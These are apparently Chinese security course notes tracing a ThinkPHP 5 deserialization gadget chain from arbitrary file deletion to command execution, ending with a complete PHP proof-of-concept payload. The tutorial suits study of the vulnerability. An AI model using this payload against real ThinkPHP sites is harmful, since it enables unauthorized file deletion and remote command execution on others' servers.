小迪安全-tp框架反序列化,利用链,rce执行,文件删除

基础知识php魔术方法

这节课主要讲扩展利用链,到达利用点这两部分

根据对应的tp版本,使用文件判断函数phare反序列化,可控变量,变量才有unserialize操作的反序列化

先写一个可利用的变量反序列化链

而模式方式之中

wekeup()和destruce()一定会触发

在这段代码本身是没有可利用的链的,这就要去翻找tp的框架,所能利用的链路;

销毁分为自动销毁和手动销毁

运行结果

就先初始化,然后在触发自动销毁,然后在触发销毁时魔术方法

而如果是手动销毁

就先创造时魔术方法,然后销毁时魔术方法,然后在触发主动销毁

任意文件删除链,反序列化

搜索wakeup()魔术方法,触发时候出现,看看那些函数里面内容写的危险,有可控变量,影响系统安全;

没看到就在搜销毁函数

记住这个文件名字,跟一下第二个函数

删除文件,看着没有管理,可以删除任何文件

然后这个变量filename是从filse来的,看看filse怎么来的

点一下结构,跟踪files就看到了代码声明files变量的地方

这就开始构造反序列化链

把windows.php的类和链拉出来

然后写要删除的文件,生成序列化值,因为base647解码,所以在套一层base564编码

然后extends pipse是继承pipes,而在自己的代码中要给他声明一下

运行,生成

d盘的1.txt文件没了

动态调试看一下流程逻辑对不对

就来到了这里处理

如果调试时间太短,可以网上搜教程延长时间

进入了这个方法

删除了文件

扩大危害到rce

然后到这里就结束了,怎么进行rec呢?变量filenam返回的值是文件名字就是字符串,而把类当作字符串处理时候会触发tostring魔术方法

全局搜索慢慢看

看见了这个魔术方法,跟踪一下tojson

又有一个toarrar

来到了array的逻辑

漏洞点出现这行代码,如果是真实环境挖洞,那是要挨个函数看,挨个逻辑看,这里是讲如何构造链。然后这个visible这个函数是没有被声明,这是一个不存在的函数,而这里就会触发一个魔术方法

call 访问上下文中调用不可出发的方法触发

演示案例

运行结果

输出了_call魔术方法的内容。就触发了他

这里就要记录一下触发到不存在函数的条件

函数经过

这里要出发call要满足条件

复制代码
append不为空

变量name是数组

复制代码
getRelation($key)=relation为空0  

这个逻辑难理解,

在poc中append直接是数组格式['apenut'=>['whoami']],过第一行逻辑判断

都二号,key就等于apenut,name等于['whoami']

变量name=['whoami'] 刚好是数组,进入if函数

变量relation的值是getrelation(key)的返回值 key就是apenut

进入getrelation的声明,变量name不为空就进入elseif的内容,返回relation[$name]就是relation[apenut]

才能进入触发那个不存在函数辨

这里逻辑差不多了去找call

这里就有个危险函数

复制代码
call_user_func_array

演示危险函数

运行就执行命令,第二个参数必须为数组,这个system就是执行的函数,calc是执行的函数值

再看代码我们就要想办法让

复制代码
$this->hook[$method]=system
复制代码
$args是我们可控的值

这里在hook搜一下看看结构可不可控

这就可以控制

复制代码
class Request这个类里面

但是有问题了

key-exists是判断有没有key,很好过

第二个函数unshift

演示

这就把bule插队到最前面去了,默认key是0,最前面的key,后门数组还是正常,键名字也没有改变。

在看代码就让变量this等于hook的值强制插队到了args里面,在控制hook为system,就变成下了如何代码,命令就没法执行了

这样的代码就执行不了命令

文章利用链

这里我们到了call遇到难题,而挖这个洞的人是直接跳到call-user0-func这一步在往后找,在进入fltervalue()这样,反向推到

这里就直接找call_user_func能执行函数的地方

全局搜索到这里

看代码,变量filter是从变量filtres来的,

就函数的第一个 三个参数为我们可控就能执行命令

但是这个filervalue不是魔术方法,我们就要找使用的地方

查找用法

两个地方用了,cookie和input

根据文章是在input里面

这里变量data是函数值,变量filter是函数,这里还有一个arrar-walk-recursive函数,这个函数演示

执行了whoami,就把两个参数位置对调了

但这给代码这里也可以执行命令

input引用了危险函数

data的值必须为数组,filter是从getfilter获取的

在找谁引用了input

这个param就是获取变量值的,那就很好控制了

这里this-》parm给参数值,那后面那个是给危险函数模块param怎么接受值的是变量fileter是危险函数

如何继续跟param被谁调用

打开看看

再回过来看逻辑图

闭环了

那这里call怎么和isajax调用上的呢?

演示案例

结果

isajax方法就被调用了

而那个危险函数不能执行命令,但是调用存在的方法就可以,这就连上了

把这个链路搞明白之后,pop链怎么写

pop链逻辑

构造这个pop链分为三部分

怎么去构造这个pop链,有讲究的

为什么到tostring是第一段类,因为第一关类技术触发了销毁函数,调用的类是不一样的,这就是问题所在

第一段的类

第二段的类

第三类

开始看网上给到的poc写法

php 复制代码
<?php
//第三段类
namespace think;
class Request{
    protected $hook = [];
    protected $filter;
    protected $mergeParam = true;
    protected $param = 'calc'; // 这个也可以是数组
    protected $config = [
        'var_ajax' => '',
    ];
    function __construct(){
        $this->hook = ['visible'=>[$this,'isAjax']];
        $this->filter = ['system'];
    }
}
//第二段类
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        # append键必须存在,并且与$this->data相同
        $this->append = ['moon'=>['']];
        $this->data = ['moon'=>new Request()];
    }
}

namespace think\model;
use think\model;
class Pivot extends Model{

}
//第一段类
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
    private $files = [];
    function __construct(){
        $this->files = [new Pivot()];
    }
}
echo base64_encode(serialize(new Windows()));

第一关类还是很好理解的的,就是类被当作字符串处理;就会触发tostring,new 这个pivot类是因为第一段没有这个类,需要生成一个新的

第二段类条件

满足append不为空的条件,为什么data传出并且new 一个requst的类,等会再说

再看第三段类

变量param执行的命令,变量config怎么来的。

在调用ajasx方法时候

如何接下来,filter对于system函数

因为filter=getfilter(filter)

最后这个hook、去触发isajax方法

这里就形成让他去调用isajax方法

因为类不在同一个文件里面,所以要去new一下调用的类,才能和上面的代码联通

执行一下

命令执行成功了

因为有三个对象,所以最下面先new的windows类,和第一段有联系,然后再new给pivot类和第二段有联系,然后在new哥request类和第三段有联系,全部串联在一起

断点调试看流程

在最后执行命令的地方断点

整个执行逻辑

第一部代码的入口

第二步

到destruct方法链路,接下来进入这个任意文件删除方法

进入判断文件这里

出发了tostring

然后就进入tojson

在进入toarray

然后触发不存在的方法

就进入call这个魔术方法

成功进入ajajx

在下面就到了param就有param有值是执行的命令

最后一步

危险和函数和命令都赋值了

最后

整个逻辑链

jian

kang

相关推荐
志存高远663 小时前
kotlin 扩展函数
android·开发语言·kotlin
二进制小甜豆3 小时前
网络原理 TCP/IP
java·学习
LingRannn4 小时前
【最新Python包管理工具UV的介绍和安装】
开发语言·python·uv
chirrupy_hamal4 小时前
IntelliJ IDEA 保姆级使用教程
java·intellij idea
D_aniel_4 小时前
Leetcode:回文链表
java·算法·leetcode·链表
Sheep Shaun5 小时前
C++类与对象—下:夯实面向对象编程的阶梯
c语言·开发语言·数据结构·c++·算法
软件2056 小时前
【登录流程图】
java·前端·流程图
AIGC魔法师6 小时前
轮播图导航组件 | 纯血鸿蒙组件库AUI
开发语言·harmonyos·openharmony·鸿蒙开发·纯血鸿蒙·arkui / ets·鸿蒙组件库aui
后藤十八里6 小时前
Python格式化字符串的四种方法
开发语言·python·学习
Little_Yuu7 小时前
抽奖系统(基于Tkinter)
开发语言·python